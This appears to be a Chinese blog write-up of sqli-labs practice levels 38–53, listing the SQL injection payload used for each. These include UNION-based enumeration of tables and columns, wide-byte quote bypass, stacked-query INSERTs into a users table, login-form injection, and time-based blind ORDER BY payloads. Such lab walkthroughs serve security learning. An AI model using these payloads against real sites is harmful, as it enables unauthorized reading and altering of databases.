sqli-labs注入报告-3(Less38-53)

Less-38:Stacked Query Injection-String

猜测字段数:

?id=-1%df%27order by N--+

得出字段数为3,然后查注入点:

?id=-1%df%27union select 1,2,3--+

注入点为2,3,接着爆系统数据:

?id=-1%df%27union select 1,database(),user()--+


然后一口气把数据爆完:

?id=-1%df%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=-1%df%27union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'emails'--+

然而题目为堆叠注入,百度了一下堆叠注入,发现为多条sql语句一起执行的意思。根据百度教程:

?id=1';insert into users(id,username,password) values (15,'jack','jack')--+

语句意为插入账号密码均为jack的数据,执行后查看数据库,相应位置存有插入的数据(截图丢失),插入成功(但这方法对获取数据库信息感觉并没有什么用)
我尝试过在 ; 后面接各种注入语句,但都没有成功。(有可能是我的环境不支持)百度了很多堆叠注入也没有可以借鉴的注入方法,百度的几乎都是对SQL数据库进行操作的,先放张堆叠注入原理图:


尝试了好久,无法实现用该类型的方法注入,所以现在能实现的只能是往数据库插数据(增删都可以)。

有关堆叠注入的题我仅能做到插入(删除)数据

Less-39:Stacked Query Injection-Intiger based

查看源代码,关键语句:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

由这语句可推理构造堆叠sql语法:

?id=-1;insert into users(id,username,password) values (17,'17','17')--+

Less-40:Blind based-String-Stacked

看源码,找到关键点:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

然后构造语法:

?id=-1');insert into users(id,username,password) values (18,'18','18')--+

然后插入数据成功。

Less-41:Blind Based-Intiger -Stacked

继续老套路:

?id=-1;insert into users (id,username,password) values (20,'20','20')--+

Less-42:Error based-String-Stacked

看了一下源码:

构造注入语句:

login_user=1&login_password=1' union select 1,2,3#&mysubmit=Login


注入点为2
接着爆数据:

login_user=1&login_password=1' union select 1,database(),3#&mysubmit=Login

login_user=1&login_password=1' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database()#&mysubmit=Login

login_user=1&login_password=1' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_schema=database() and table_name='emails'#&mysubmit=Login

Less-43:Error based-String-Stacked with twist

与Less-42不同的地方:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

闭合的地方改成:’)
其余地方与Less-42一样,例子:

login_user=1&login_password=1') union select 1,2,3#&mysubmit=Login

Less-44:Error based-String-Stacked blind

与Less-42步骤相同,注入语法也相同

Less-45:Error based-String-Stacked blind

与Less-43使用相同的语法

Less-46:Error based-Numeric-ORDER BY CLAUSE

新的注入方式
根据页面提示,使用 ?sort=1 拼接在URL上,直接得出数据库
然后毫无头绪,百度了教程:
http://www.cnblogs.com/lcamry/p/5762710.html
参考例句:

?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)

Less-47:Error based-String-ORDER BY Clause

与Less-46类似,多了单引号报错,例子:

?sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)

Less-48:Error based-Blind-Numeric-ORDER BY Clause

因为是盲注,各种测试无报错,看了下源码关键点(其实也可以用sql语句看有没有爆出信息从而进行判断):

$sql = “SELECT * FROM users ORDER BY $id”;
发现直接拼接语句就好,语句与Less-46相同

Less-49:Error based-String-Blind-ORDER BY Clause

用单引号不显示数据,用双引号显示正常,得出sort旁边是单引号

?sort=1′
?sort=1″
接着的注入语句与Less-47相同

Less-50:Error based-ORDER BY Clause-numeric-Stacked Injection

数字型注入:
注入语句与Less-46相同

Less-51:Error based-ORDER BY CLAUSE-String-Stacked Injection

单引号类型
注入语句与Less-47相同

Less-52:Blind based-ORDER BY CLAUSE-numeric-Stacked Injection

因为是盲注,查看了源码:

$sql="SELECT * FROM users ORDER BY $id";

数字型注入,语句与Less-46相同

Less-53:Blind based-ORDER BY CLAUSE-String-Stacked Injection

双引号正常显示,单引号不显示,得出为单引号类型
注入语句与Less-47相同

发表评论

电子邮件地址不会被公开。 必填项已用*标注